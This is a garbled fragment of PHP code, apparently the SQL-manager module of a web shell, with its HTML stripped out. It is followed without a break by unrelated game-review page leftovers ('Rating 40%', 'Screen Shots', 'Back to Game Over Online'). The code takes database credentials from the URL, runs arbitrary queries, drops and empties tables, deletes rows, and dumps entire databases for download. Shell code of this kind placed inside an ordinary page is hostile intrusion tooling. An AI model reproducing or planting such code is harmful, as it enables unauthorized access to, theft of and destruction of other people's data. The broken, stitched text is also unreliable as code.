    $item[1] = str_replace("%upd",urlencode($v),$item[1]);

    echo "".$item[0]."    ";

    }

    }

    echo "


    ";

    if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
    ".$donated_html."

    ";}

    echo "
    ";

    if ($act == "") {$act = $dspact = "ls";}

    if ($act == "sql")

    {

    $sql_surl = $surl."act=sql";

    if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}

    if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}

    if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}

    if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}

    if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}

    $sql_surl .= "&";

    ?>

    Attention! SQL-Manager is NOT ready module! Don't reports bugs.

    ";

    if (!$sql_sock) {?>

    if ($sql_server)

    {

    $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);

    $err = mysql_smarterror();

    @mysql_select_db($sql_db,$sql_sock);

    if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}

    }

    else {$sql_sock = FALSE;}

    echo "SQL Manager:
    ";

    if (!$sql_sock)

    {

    if (!$sql_server) {echo "NO CONNECTION";}

    else {echo "

    Can't connect
    "; echo "".$err."";}

    }

    else

    {

    $sqlquicklaunch = array();

    $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");

    $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));

    $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");

    $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");

    $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");

    $sqlquicklaunch[] = array("Logout",$surl."act=sql");

    echo "

    MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - "".htmlspecialchars($sql_passwd)."")
    ";

    if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}

    echo "

    ";

    }

    echo "

    i
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  • else

    {

    //Start left panel

    if (!empty($sql_db))

    {

    ?>

     Please, fill the form:
    UsernamePassword Database 
    HostPORT
    ">Home
    $result = mysql_list_tables($sql_db);

    if (!$result) {echo mysql_smarterror();}

    else

    {

    echo "---[ ".htmlspecialchars($sql_db)." ]---
    ";

    $c = 0;

    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;}

    if (!$c) {echo "No tables found in database.";}

    }

    }

    else

    {

    ?>

    Home
    $result = mysql_list_dbs($sql_sock);

    if (!$result) {echo mysql_smarterror();}

    else

    {

    ?>


    Please, select database
    }

    //End left panel

    echo "

    ";

    //Start center panel

    $diplay = TRUE;

    if ($sql_db)

    {

    if (!is_numeric($c)) {$c = 0;}

    if ($c == 0) {$c = "no";}

    echo "


    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    ";

    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}

    echo "

    ";

    $acts = array("","dump");

    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` n";} $sql_act = "query";}

    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}

    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}

    elseif ($sql_tbl_act == "insert")

    {

    if ($sql_tbl_insert_radio == 1)

    {

    $keys = "";

    $akeys = array_keys($sql_tbl_insert);

    foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}

    if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}

    $values = "";

    $i = 0;

    foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}

    if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}

    $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";

    $sql_act = "query";

    $sql_tbl_act = "browse";

    }

    elseif ($sql_tbl_insert_radio == 2)

    {

    $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);

    $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";

    $result = mysql_query($sql_query) or print(mysql_smarterror());

    $result = mysql_fetch_array($result, MYSQL_ASSOC);

    $sql_act = "query";

    $sql_tbl_act = "browse";

    }

    }

    if ($sql_act == "query")

    {

    echo "


    ";

    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";}

    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}

    if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



     
    ";}

    }

    if (in_array($sql_act,$acts))

    {

    ?>
    Create new table:
     
    Dump DB:
    "> 
    if (!empty($sql_act)) {echo "


    ";}

    if ($sql_act == "newtbl")

    {

    echo "";

    if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB "".htmlspecialchars($sql_newdb)."" has been created with success!
    ";

    }

    else {echo "Can't create DB "".htmlspecialchars($sql_newdb)."".
    Reason: ".mysql_smarterror();}

    }

    elseif ($sql_act == "dump")

    {

    if (empty($submit))

    {

    $diplay = FALSE;

    echo "

    SQL-Dump:

    ";

    echo "DB: 

    ";

    $v = join (";",$dmptbls);

    echo "Only tables (explode ";") 1: 

    ";

    if ($dump_file) {$tmp = $dump_file;}

    else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}

    echo "File: 

    ";

    echo "Download:  

    ";

    echo "Save to file:  ";

    echo "



    1 - all, if empty";

    echo "

    ";

    }

    else

    {

    $diplay = TRUE;

    $set = array();

    $set["sock"] = $sql_sock;

    $set["db"] = $sql_db;

    $dump_out = "download";

    $set["print"] = 0;

    $set["nl2br"] = 0;

    $set[""] = 0;

    $set["file"] = $dump_file;

    $set["add_drop"] = TRUE;

    $set["onlytabs"] = array();

    if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}

    $ret = mysql_dump($set);

    if ($sql_dump_download)

    {

    @ob_clean();

    header("Content-type: application/octet-stream");

    header("Content-length: ".strlen($ret));

    header("Content-disposition: attachment; filename="".basename($sql_dump_file)."";");

    echo $ret;

    exit;

    }

    elseif ($sql_dump_savetofile)

    {

    $fp = fopen($sql_dump_file,"w");

    if (!$fp) {echo "Dump error! Can't write to "".htmlspecialchars($sql_dump_file).""!";}

    else

    {

    fwrite($fp,$ret);

    fclose($fp);

    echo "Dumped! Dump has been writed to "".htmlspecialchars(realpath($sql_dump_file))."" (".view_size(filesize($sql_dump_file)).").";

    }

    }

    else {echo "Dump: nothing to do!";}

    }

    }

    if ($diplay)

    {

    if (!empty($sql_tbl))

    {

    if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}

    $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");

    $count_row = mysql_fetch_array($count);

    mysql_free_result($count);

    $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");

    $tbl_struct_fields = array();

    while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}

    if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}

    if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}

    if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}

    if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}

    $perpage = $sql_tbl_le - $sql_tbl_ls;

    if (!is_numeric($perpage)) {$perpage = 10;}

    $numpages = $count_row[0]/$perpage;

    $e = explode(" ",$sql_order);

    if (count($e) == 2)

    {

    if ($e[0] == "d") {$asc_desc = "DESC";}

    else {$asc_desc = "ASC";}

    $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";

    }

    else {$v = "";}

    $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";

    $result = mysql_query($query) or print(mysql_smarterror());

    echo "


    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    ";

    echo "Structure ]   ";

    echo "Browse ]   ";

    echo "Dump ]   ";

    echo "Insert ]   ";

    if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";}

    if ($sql_tbl_act == "insert")

    {

    if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}

    if (!empty($sql_tbl_insert_radio))

    {

    }

    else

    {

    echo "

    Inserting row into table:
    ";

    if (!empty($sql_tbl_insert_q))

    {

    $sql_query = "SELECT * FROM `".$sql_tbl."`";

    $sql_query .= " WHERE".$sql_tbl_insert_q;

    $sql_query .= " LIMIT 1;";

    $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror());

    $values = mysql_fetch_assoc($result);

    mysql_free_result($result);

    }

    else {$values = array();}

    echo "

    ";

    foreach ($tbl_struct_fields as $field)

    {

    $name = $field["Field"];

    if (empty($sql_tbl_insert_q)) {$v = "";}

    echo "

    ";

    $i++;

    }

    echo "

    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    ";

    echo "Insert as new row";

    if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";}

    echo "

    ";

    }

    }

    if ($sql_tbl_act == "browse")

    {

    $sql_tbl_ls = abs($sql_tbl_ls);

    $sql_tbl_le = abs($sql_tbl_le);

    echo "


    ";

    echo "Pages ";

    $b = 0;

    for($i=0;$i<$numpages;$i++)

    {

    if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}

    echo $i;

    if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}

    if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";}

    else {echo " ";}

    }

    if ($i == 0) {echo "empty";}

    echo "

    From:  To:  
    ";

    echo "

    ";

    echo "

    ";

    echo "

    ";

    for ($i=0;$i {

    $v = mysql_field_name($result,$i);

    if ($e[0] == "a") {$s = "d"; $m = "asc";}

    else {$s = "a"; $m = "desc";}

    echo "

    ";

    }

    echo "

    ";

    echo "

    ";

    while ($row = mysql_fetch_array($result, MYSQL_ASSOC))

    {

    echo "

    ";

    $w = "";

    $i = 0;

    foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}

    if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}

    echo "

    ";

    $i = 0;

    foreach ($row as $k=>$v)

    {

    $v = htmlspecialchars($v);

    if ($v == "") {$v = "NULL";}

    echo "

    ";

    $i++;

    }

    echo "

    ";

    echo "

    ";

    }

    mysql_free_result($result);

    echo "

    ";

    if (empty($e[0])) {$e[0] = "a";}

    if ($e[1] != $v) {echo "".$v."";}

    else {echo "".$v."";}

    echo "

    Action
    ".$v."";

    echo "Delete ";

    echo "Edit ";

    echo "


    Rating
    40%
     

     

     
     

     

     

    Screen Shots
    Screen Shot
    Screen Shot
    Screen Shot
    Screen Shot
    Screen Shot
    Screen Shot
    Screen Shot
    Screen Shot
    Screen Shot

    Back to Game Over Online